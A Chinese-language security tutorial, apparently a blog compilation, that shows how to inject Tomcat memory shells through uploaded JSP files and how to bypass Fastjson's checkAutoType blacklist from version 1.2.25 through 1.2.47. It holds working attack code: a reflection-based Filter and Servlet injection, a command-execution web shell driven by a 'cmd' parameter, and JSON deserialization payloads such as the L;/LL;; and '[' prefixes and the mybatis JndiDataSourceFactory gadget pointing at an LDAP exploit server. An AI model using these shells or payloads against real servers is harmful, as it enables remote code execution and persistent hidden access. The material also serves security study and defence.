3
4
5
6
7
8
9
10
11
12
13
14
15
16
String filterName = "cmdFilter";

FilterDef def = new FilterDef();
def.setFilterName(filterName);
def.setFilter(shellFilter);
def.setFilterClass(shellFilter.getClass().getName());

FilterMap map = new FilterMap();
map.setFilterName(filterName);
map.addURLPattern("/mem");

standardContext.addFilterDef(def);
standardContext.addFilterMapBefore(map);
standardContext.filterStart();

out.println("success");

将上述代码整理好后,写入网站上的一个jsp文件中(利用方式:文件上传)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<%--
Created by IntelliJ IDEA.
User: Andu1n
Date: 2025/2/19
Time: 19:33
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="javax.security.auth.login.ConfigurationSpi" %>
<%@ page import="java.io.ObjectInputFilter" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

Filter shellFilter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
Runtime.getRuntime().exec("calc");
}

@Override
public void destroy() {

}

};

String filterName = "cmdFilter";

FilterDef def = new FilterDef();
def.setFilterName(filterName);
def.setFilter(shellFilter);
def.setFilterClass(shellFilter.getClass().getName());

FilterMap map = new FilterMap();
map.setFilterName(filterName);
map.addURLPattern("/mem");

standardContext.addFilterDef(def);
standardContext.addFilterMapBefore(map);
standardContext.filterStart();

out.println("success");

%>

</body>
</html>

启动tomcat服务,访问addFilter.jsp,执行我们的jsp代码

回显success,说明我们前面的代码都已经执行成功,完成了内存马的注入

后续访问我们设定好的内存马路径,成功执行代码

Servlet内存马

前置基础

什么是Servlet

Java Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 Web 浏览器或其他 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层

它在应用程序中的位置如下图所示,很类似于中间件

Servlet请求处理过程

客户端发起http请求,比如get类型

Servlet容器接收到请求,根据请求信息,封装为HttpServletRequestHttpServletResponse对象,这就是我们的传参

Servlet容器调用HttpServlet的init方法,init方法旨在第一次请求时被调用

Servlet容器调用service方法

service方法根据请求类型(这里为get请求),分别调用doGet或者doPost方法,这里我们调用doGet方法

doXXX方法中是我们自己写的业务逻辑

业务逻辑处理完成,返回给Servlet容器,然后容器将结果返回给客户端

容器关闭时,会调用destory方法

环境配置

我们首先需要创建一个JavaWeb项目

  • JDK8u65
  • 在pom.xml中导入tomcat的包
1
2
3
4
5
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.61</version>
</dependency>

分析

Servlet接口分析

我们可以看一下Servlet接口中有哪些方法,每个方法的作用如下
1
2
3
4
5
6
7
8
9
10
11
public interface Servlet {  
void init(ServletConfig var1) throws ServletException; // init方法,创建好实例后会被立即调用,仅调用一次。

ServletConfig getServletConfig();//返回一个ServletConfig对象,其中包含这个servlet初始化和启动参数

void service(ServletRequest var1, ServletResponse var2) throws ServletException, IOException; //每次调用该servlet都会执行service方法,service方法中实现了我们具体想要对请求的处理。

String getServletInfo();//返回有关servlet的信息,如作者、版本和版权.

void destroy();//只会在当前servlet所在的web被卸载的时候执行一次,释放servlet占用的资源
}

如果说我们需要在一个地方中写入恶意代码,那么应该是需要写在service方法中

小demo

接下来我们去构造一个恶意Servlet
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

// 基础恶意类
public class ServletTest implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {

}

@Override
public ServletConfig getServletConfig() {
return null;
}

@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd !=null){
try{

Process process = Runtime.getRuntime().exec(cmd);
InputStream inputStream = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = bufferedReader.readLine()) != null){
res.getWriter().println(line);
}
}catch (IOException e){
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
}

@Override
public String getServletInfo() {
return null;
}

@Override
public void destroy() {

}
}

web.xml中配置如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">

<servlet>
<servlet-name>myServlet</servlet-name> <!-- Servlet 的名称 -->
<servlet-class>ServletTest</servlet-class> <!-- Servlet 的全类名 -->
</servlet>

<!-- 2. 映射 Servlet 到 URL -->
<servlet-mapping>
<servlet-name>myServlet</servlet-name> <!-- 上面定义的 servlet 名称 -->
<url-pattern>/myServlet</url-pattern> <!-- URL 映射路径 -->
</servlet-mapping>
</web-app>

将tomcat运行起来后,访问[http://localhost:8080/myServlet?cmd=whoami](http://localhost:8080/myServlet?cmd=whoami),成功执行命令并回显

注册流程分析

tomcat解析xml文件的具体流程在这里不分析,我们直接看到解析xml文件后做注册的地方ContextConfig#configureContext

注册大概流程如下

  1. 创建一个wrapper
  2. 设置servlet的名字
  3. 设置servlet相关联的类
  4. 将wrapper加入到context中
  5. 配置路径
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
private void configureContext(WebXml webxml) {
......
for (ServletDef servlet : webxml.getServlets().values()) {
//创建一个wrapper
Wrapper wrapper = context.createWrapper();
// Description is ignored
// Display name is ignored
// Icons are ignored

// jsp-file gets passed to the JSP Servlet as an init-param

if (servlet.getLoadOnStartup() != null) {
//预加载
//serlvet一般在访问后创建,如果设置相关配置,即可在访问创建
wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
}
if (servlet.getEnabled() != null) {
wrapper.setEnabled(servlet.getEnabled().booleanValue());
}
//设置servlet名字
wrapper.setName(servlet.getServletName());
Map<String,String> params = servlet.getParameterMap();
for (Entry<String, String> entry : params.entrySet()) {
wrapper.addInitParameter(entry.getKey(), entry.getValue());
}
wrapper.setRunAs(servlet.getRunAs());
Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
for (SecurityRoleRef roleRef : roleRefs) {
wrapper.addSecurityReference(
roleRef.getName(), roleRef.getLink());
}
//设置关联的类
wrapper.setServletClass(servlet.getServletClass());
MultipartDef multipartdef = servlet.getMultipartDef();
if (multipartdef != null) {
long maxFileSize = -1;
long maxRequestSize = -1;
int fileSizeThreshold = 0;

if(null != multipartdef.getMaxFileSize()) {
maxFileSize = Long.parseLong(multipartdef.getMaxFileSize());
}
if(null != multipartdef.getMaxRequestSize()) {
maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize());
}
if(null != multipartdef.getFileSizeThreshold()) {
fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold());
}

wrapper.setMultipartConfigElement(new MultipartConfigElement(
multipartdef.getLocation(),
maxFileSize,
maxRequestSize,
fileSizeThreshold));
}
if (servlet.getAsyncSupported() != null) {
wrapper.setAsyncSupported(
servlet.getAsyncSupported().booleanValue());
}
wrapper.setOverridable(servlet.isOverridable());
//将wrapper加入到context中
context.addChild(wrapper);
}
for (Entry<String, String> entry :
webxml.getServletMappings().entrySet()) {
//配置路径
context.addServletMappingDecoded(entry.getKey(), entry.getValue());
}
......
}

启动服务时走入该方法后,即可看到有两个自带的servlet和我们自己配置的serlvet

实现

实现条件

要实现内存马,有两个条件
  1. 写一个servlet木马
  2. 将servlet注册入tomcat中

写servlet马

我们仿照默认的Servlet来写一个恶意类,使我们的主机弹计算器即可(jsp中定义东西需要使用**<%! %>**)

若有需要,可以自行实现回显木马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<%!
public class HelloServlet extends HttpServlet {
private String message;

public void init() {
message = "Hello World!";
}

public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
Runtime.getRuntime().exec("calc");
}

public void destroy() {
}
}
%>

动态注册servlet

动态注册中分为两步

  1. 获取standardcontext
  2. 注册进tomcat

获取standardcontext

在jsp中默认有一个request对象,这个对象中存在一个getServletContext方法,会获取一个servletContext

在动态调试中,我们可以看到,servletContext中存在一个ApplicationContext,而在ApplicationContext中即存在着standardcontext,是我们想要获取的对象

接下来我们就要通过servletContext来获取standardcontext

由于私有属性无法直接被获取,所以我们要通过反射特性来获取属性

1
2
3
4
5
6
7
8
9
10
<%
ServletContext servletContext = request.getServletContext();
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext =(ApplicationContext) context.get(servletContext);

Field standardContext = applicationContext.getClass().getDeclaredField("context");
standardContext.setAccessible(true);
StandardContext context1 = (StandardContext) standardContext.get(applicationContext);
%>

注册进tomcat

注册进tomcat就和下面分析的流程是一样的,但不需要加多余的判断等东西

需要注意,注册的过程中多一个实例化Servlet并setServlet的步骤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<%
//获取standardcontext
ServletContext servletContext = request.getServletContext();
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext =(ApplicationContext) context.get(servletContext);

Field standardContext = applicationContext.getClass().getDeclaredField("context");
standardContext.setAccessible(true);
StandardContext context1 = (StandardContext) standardContext.get(applicationContext);

//注册进tomcat
Wrapper wrapper = context1.createWrapper();
wrapper.setName("MemServlet");
wrapper.setServletClass(MemServlet.class.getName());
//实例化Servlet
wrapper.setServlet(new MemServlet());

context1.addChild(wrapper);
context1.addServletMappingDecoded("/mem","MemServlet");
%>

激活

想要访问内存马,就要访问我们创建的jsp文件,创建恶意类servlet并注册进tomcat中

然后即可访问我们所设定的内存马路径,触发恶意代码

FastJson各版本绕过分析

这篇主要是讲一下Fastjson中版本>=1.2.25后补丁的绕过方式

tips: 都必须开启AutoTypeSupport才能成功

漏洞修复

想要绕过后续版本,我们就一定要知道哪里做了修改

修补方案就是将DefaultJSONParser.parseObject()函数中的TypeUtils.loadClass替换为checkAutoType()函数

checkAutoType()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}

final String className = typeName.replace('$', '.');

// autoTypeSupport默认为False
// 当autoTypeSupport开启时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}

for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

// 从Map缓存中获取类,注意这是后面版本的漏洞点
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}

// 当autoTypeSupport未开启时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错
if (!autoTypeSupport) {
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}

if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}

if (clazz != null) {

if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
}

if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}

return clazz;
}

为了梳理一下整个流程,这里准备了一个流程图

简单来说,新版本对fastjson反序列化的限制就是使用黑白名单的方式进行过滤,acceptList为白名单(默认为空)。denyList为黑名单(默认不为空)

默认autoTypeSupport为false,即先执行黑名单过滤,遍历denyList

黑名单denyList过滤列表如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

若正常执行1.2.24payload,则会爆出 autoType 不支持该类的错误

小结

1.2.24之后的版本后,都是使用checkAutoType()函数,用黑白名单的方式来防御Fastjson反序列化漏洞,因此后面不同补丁的绕过都是基于黑名单的绕过

1.2.25 - 1.2.41 补丁绕过

若按照以前的EXP直接运行,则爆出以下错误,说不支持该类,被黑名单ban了

绕过

这里只需要简单绕过以下,尝试在 com.sun.rowset.JdbcRowSetImpl 前面加一个 L,结尾加上 ; 绕过

并且记住开启AutoTypeSupport

运行后即可绕过黑名单,成功执行payload

断点分析

黑名单绕过

我们在checkAutoType处下一个断点,跟着看一下怎么绕过的

在如下代码处,首先会进行黑名单校验,之前我们的异常就是在此处抛出的

由于我们对类名加上了L;,所以这里被不会被拦截

1
2
3
4
5
6
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}

下一步进入以下部分,这里是一个利用点,后面再说

这里会从Map缓存中查找此类,但是我们之前并没有加载过它,就无法找到

1
2
3
4
5
6
7
8
9
10
11
12
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}

下一步if条件中!autoTypeSupport,是false的,因此这里并没有什么影响

1
2
3
if (!autoTypeSupport) {
......
}

最后走到这里,我们的autoTypeSupport为true,直接走入核心方法TypeUtils.loadClass

1
2
3
if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}

类加载

loadClass方法中,存在这么一个地方,它的功能就是,若以L开头;结尾,则会去除该开头和该结尾,恢复我们正常的类名

后续的类加载过程就不再多说

1
2
3
4
if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}

1.2.25-1.2.42 补丁绕过

新一个EXP是这样的,后续的补丁,会在黑名单过滤之前,先将开头L和结尾;提取出来,若我们写两个L和两个;,即可绕过限制

1
2
3
4
5
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"ldap://localhost:1389/Exploit",
"autoCommit":true
}

1.2.25-1.2.43 补丁绕过

补丁

在checkAutoType()函数中,修改的是直接对类名以”LL”开头的直接报错

绕过

先给出EXP
1
2
3
4
5
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,
"dataSourceName":"ldap://localhost:1389/Exploit",
"autoCommit":true
}

在1.2.43之前,运行后是可以执行恶意代码的

断点调试

我们断点下到以下部分,这里会检查,@type的第一个字符是不是[,若第一个字符是[,则会删除第一个[,提取出来其中的类名,调用Array.newInstance,并getClass来获取返回类

1
2
3
4
if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}

然后会进入checkAutoType函数,对[com.sun.rowset.JdbcRowSetImpl这个函数名进行黑白名单验证,类名前有一个[,所以当然不会被拦截

然后就该进行反序列化的操作了,进入到deserialize

在该方法中,我们之前的报错提示就是从DefaultJSONParser.parseArray()里面抛出的,进该方法的内部分析一下

这里就对我们后面的字符进行判断,判断其是否为[{,这里就是我们报错的原因,只需要将其一一满足即可

1
2
3
if (token != JSONToken.LBRACKET) {
throw new JSONException("exepct '[', but " + JSONToken.name(token) + ", " + lexer.info());
}

1.2.25-1.2.45补丁绕过

补丁

调试checkAutoType()函数,看到对前一个补丁绕过方法的”[“字符进行了过滤,只要类名以”[“开头就直接抛出异常

绕过

  • 前提条件:需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本

pom.xml文件导入如下(不知道为什么3.5.2版本也能行)

1
2
3
4
5
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.2</version>
</dependency>

绕过EXP如下,其中连ldap或rmi都可

1
2
3
4
5
6
7
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":
{
"data_source":"ldap://localhost:1389/Exploit"
}
}

运行后可以成功执行恶意命令

断点调试

从EXP分析,可以知道我们要去`JndiDataSourceFactory`这个类,并且寻找它对`properties`进行赋值的地方,其代码如下

我把断点下载setter方法中,在该方法中,我们找到了熟悉的JNDI注入,即initCtx.lookup(),其中参数由我们输入的properties属性中的data_source值获取的

所以我们可以很简单的就绕过该补丁限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public void setProperties(Properties properties) {
try {
InitialContext initCtx;
Properties env = getEnvProperties(properties);
if (env == null) {
initCtx = new InitialContext();
} else {
initCtx = new InitialContext(env);
}

if (properties.containsKey(INITIAL_CONTEXT)
&& properties.containsKey(DATA_SOURCE)) {
Context ctx = (Context) initCtx.lookup(properties.getProperty(INITIAL_CONTEXT));
dataSource = (DataSource) ctx.lookup(properties.getProperty(DATA_SOURCE));
} else if (properties.containsKey(DATA_SOURCE)) {
dataSource = (DataSource) initCtx.lookup(properties.getProperty(DATA_SOURCE));
}

} catch (NamingException e) {
throw new DataSourceException("There was an error configuring JndiDataSourceTransactionPool. Cause: " + e, e);
}
}

1.2.25-1.2.47补丁绕过

分析

在1.2.24版本之后,当在DefaultJSONParser#parseObject方法中检测到@type关键字后,会调用checkAutoType方法对所加载的类有所限制。而在1.2.24版本前,这个位置直接进行了loadclass

1
2
3
4
5
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
String typeName = lexer.scanSymbol(symbolTable, '"');
Class<?> clazz = config.checkAutoType(typeName, null);
......
}

下面即为ParserConfig#checkAutoType的代码,因为他的逻辑比较复杂,因此我跟着组长搞了一个流程图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}

final String className = typeName.replace('$', '.');

if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}

for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}

if (!autoTypeSupport) {
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}

if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}

if (clazz != null) {

if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
}

if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}

return clazz;
}

其中,黄色部分为,可以实现类加载的地方

我们这里不分析其他地方,只在第二个返回类的地方做文章

首先他会从缓存中找有没有这个类,如果没有找到就从deserializers中继续找,这里它也是一个缓存,如果找到的话则会判断是否期望类不为空且与期望类不一致,如果判断为false的话就会返回这个类。这个条件在默认条件下为flase,因此我们只需要在缓存中存在这个类,即可返回这个类。

1
2
3
4
5
6
7
8
9
10
11
12
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}

读取缓存时,是从mappings中寻找,所以我们需要寻找,在什么地方将类存入mappings

1
2
3
public static Class<?> getClassFromMapping(String className) {
return mappings.get(className);
}

我们找到的可控的方法,为TypeUtils#loadClass方法

这代表的是,如果之前加载过这个类,就放入缓存中,下次加载的时候直接从缓存中拿出

1
2
3
4
5
6
7
8
9
10
11
public static Class<?> loadClass(String className, ClassLoader classLoader) {
if (className == null || className.length() == 0) {
return null;
}

Class<?> clazz = mappings.get(className);

......

return clazz;
}

然后找哪个地方调用了loadClass方法,找到的可利用方法为MiscCodec#deserialze

在clazz等于Class.class的情况下,会调用loadClass

1
2
3
4
5
6
7
8
9
public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
......

if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}

......
}

这个**MiscCodec**是什么呢,它继承了ObjectSerializerObjectDeserializer,是一个序列化/反序列化器

1
public class MiscCodec implements ObjectSerializer, ObjectDeserializer 

DefaultJSONParser#parseObject进行反序列化的时候,使用的是JavaBeanDeserializer反序列化器

但是这个反序列化器,我们可以看到,是从config找到的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
try {
Object instance = null;
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
if (deserializer instanceof JavaBeanDeserializer) {
instance = ((JavaBeanDeserializer) deserializer).createInstance(this, clazz);
}

if (instance == null) {
if (clazz == Cloneable.class) {
instance = new HashMap();
} else if ("java.util.Collections$EmptyMap".equals(typeName)) {
instance = Collections.emptyMap();
} else {
instance = clazz.newInstance();
}
}

在进行初始化的时候,它会把对应类所对应的反序列化器放进去

其中很多都用的是MiscCodec的反序列化器,Class.class就是它

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
private ParserConfig(ASMDeserializerFactory asmFactory, ClassLoader parentClassLoader){
if (asmFactory == null && !ASMUtils.IS_ANDROID) {
try {
if (parentClassLoader == null) {
asmFactory = new ASMDeserializerFactory(new ASMClassLoader());
} else {
asmFactory = new ASMDeserializerFactory(parentClassLoader);
}
} catch (ExceptionInInitializerError error) {
// skip
} catch (AccessControlException error) {
// skip
} catch (NoClassDefFoundError error) {
// skip
}
}

this.asmFactory = asmFactory;

if (asmFactory == null) {
asmEnable = false;
}

deserializers.put(SimpleDateFormat.class, MiscCodec.instance);
deserializers.put(java.sql.Timestamp.class, SqlDateDeserializer.instance_timestamp);
deserializers.put(java.sql.Date.class, SqlDateDeserializer.instance);
deserializers.put(java.sql.Time.class, TimeDeserializer.instance);
deserializers.put(java.util.Date.class, DateCodec.instance);
deserializers.put(Calendar.class, CalendarCodec.instance);
deserializers.put(XMLGregorianCalendar.class, CalendarCodec.instance);

deserializers.put(JSONObject.class, MapDeserializer.instance);
deserializers.put(JSONArray.class, CollectionCodec.instance);

deserializers.put(Map.class, MapDeserializer.instance);
deserializers.put(HashMap.class, MapDeserializer.instance);
deserializers.put(LinkedHashMap.class, MapDeserializer.instance);
deserializers.put(TreeMap.class, MapDeserializer.instance);
deserializers.put(ConcurrentMap.class, MapDeserializer.instance);
deserializers.put(ConcurrentHashMap.class, MapDeserializer.instance);

deserializers.put(Collection.class, CollectionCodec.instance);
deserializers.put(List.class, CollectionCodec.instance);
deserializers.put(ArrayList.class, CollectionCodec.instance);

deserializers.put(Object.class, JavaObjectDeserializer.instance);
deserializers.put(String.class, StringCodec.instance);
deserializers.put(StringBuffer.class, StringCodec.instance);
deserializers.put(StringBuilder.class, StringCodec.instance);
deserializers.put(char.class, CharacterCodec.instance);
deserializers.put(Character.class, CharacterCodec.instance);
deserializers.put(byte.class, NumberDeserializer.instance);
deserializers.put(Byte.class, NumberDeserializer.instance);
deserializers.put(short.class, NumberDeserializer.instance);
deserializers.put(Short.class, NumberDeserializer.instance);
deserializers.put(int.class, IntegerCodec.instance);
deserializers.put(Integer.class, IntegerCodec.instance);
deserializers.put(long.class, LongCodec.instance);
deserializers.put(Long.class, LongCodec.instance);
deserializers.put(BigInteger.class, BigIntegerCodec.instance);
deserializers.put(BigDecimal.class, BigDecimalCodec.instance);
deserializers.put(float.class, FloatCodec.instance);
deserializers.put(Float.class, FloatCodec.instance);
deserializers.put(double.class, NumberDeserializer.instance);
deserializers.put(Double.class, NumberDeserializer.instance);
deserializers.put(boolean.class, BooleanCodec.instance);
deserializers.put(Boolean.class, BooleanCodec.instance);
deserializers.put(Class.class, MiscCodec.instance);
deserializers.put(char[].class, new CharArrayCodec());

deserializers.put(AtomicBoolean.class, BooleanCodec.instance);
deserializers.put(AtomicInteger.class, IntegerCodec.instance);
deserializers.put(AtomicLong.class, LongCodec.instance);
deserializers.put(AtomicReference.class, ReferenceCodec.instance);

deserializers.put(WeakReference.class, ReferenceCodec.instance);
deserializers.put(SoftReference.class, ReferenceCodec.instance);

deserializers.put(UUID.class, MiscCodec.instance);
deserializers.put(TimeZone.class, MiscCodec.instance);
deserializers.put(Locale.class, MiscCodec.instance);
deserializers.put(Currency.class, MiscCodec.instance);
deserializers.put(InetAddress.class, MiscCodec.instance);
deserializers.put(Inet4Address.class, MiscCodec.instance);
deserializers.put(Inet6Address.class, MiscCodec.instance);
deserializers.put(InetSocketAddress.class, MiscCodec.instance);
deserializers.put(File.class, MiscCodec.instance);
deserializers.put(URI.class, MiscCodec.instance);
deserializers.put(URL.class, MiscCodec.instance);
deserializers.put(Pattern.class, MiscCodec.instance);
deserializers.put(Charset.class, MiscCodec.instance);
deserializers.put(JSONPath.class, MiscCodec.instance);
deserializers.put(Number.class, NumberDeserializer.instance);
deserializers.put(AtomicIntegerArray.class, AtomicCodec.instance);
deserializers.put(AtomicLongArray.class, AtomicCodec.instance);
